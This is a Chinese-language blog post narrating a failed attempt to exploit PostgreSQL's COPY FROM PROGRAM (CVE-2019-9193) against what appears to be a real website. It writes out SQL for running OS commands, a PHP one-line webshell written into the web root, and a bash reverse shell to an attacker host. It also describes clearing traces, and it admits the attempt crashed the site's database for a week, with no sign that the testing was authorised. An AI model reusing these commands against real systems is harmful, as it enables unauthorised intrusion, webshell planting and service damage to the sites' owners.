一次失败的PostgreSQL命令执行

2022-03-08 13:52:27 浏览数 (1)

0x01. PostgreSQL是什么?

从SQL就可以看出这是一种数据库,现在学习安全起步基本都是关于MySql的操作,关于postgresql、mssql、Oracle等数据库应该是相对比较少的,这也是kami第一次接触PostgreSQL。

PostgreSQL是一个的开源对象关系型数据库系统,使用和扩展了SQL语言,通常带有C、per、python扩展语言。Postgre SQL还具有高度的可扩展性,比如自定义数据类型、构建自定义函数等。

0x02. PostgreSQL命令执行(CVE-2019-9193)

从postgresql 9.3 版本开始,PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能,它允许数据库的超级用户以及pg_read_server_files组用户执行任意的操作系统命令.

因为只有数据库超级用户和pg_read_server_files组用户可以执行系统命令,所以第一步要先看自身的权限是否足够。

SQL语句: select * from pg_user

上图可以看到现在是postgres的权限,也就是postgresql数据库中的超级用户。 条件满足,那么可以复现下去了。

代码语言:javascript复制

首先创建一个cmd_exec表,然后通过"COPY TO/FROM PROGRAM"执行命令

删除并创建cmd_exec表:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);

命令执行测试:
COPY cmd_exec FROM PROGRAM ‘id’;
COPY cmd_exec FROM PROGRAM ‘whoami’;
COPY cmd_exec FROM PROGRAM ‘uname -a’;
COPY cmd_exec FROM PROGRAM ‘ls’;

查看命令执行结果:
SELECT * FROM cmd_exec;

写入一句话木马,依然是利用copy函数,将数据库查询结果copy到指定路径.

代码语言:javascript复制

DROP TABLE kami;

CREATE TABLE kami(t TEXT);

INSERT INTO kami(t) VALUES('<?php @eval($_REQUEST[1])?>');

COPY kami(t) TO '/var/www/html/temp.php';

在当时环境中,写入失败,原因是数据库的权限只能操作数据库的路径,跳出数据库的路径就会执行失败。 当写入文件失败之后,又尝试了一下使用bash反弹shell。

bash -i >& /dec/tcp/攻击机ip/攻击机端口 0>&1

但在执行bash命令的时候,数据库因为没有执行bash命令的权限而报错了。

后续又尝试了一下利用扩展语言如python反弹,也失败。 思路不足,几次无果。 清理痕迹,暂时放弃。

执行命令:

drop table kami;

于是数据库就崩了,数据库一直在处理这条命令,直到我第二周打开那个网站,看见页面才知道,数据库确实被我玩崩了。 哇的一下就哭出来了。

0 人点赞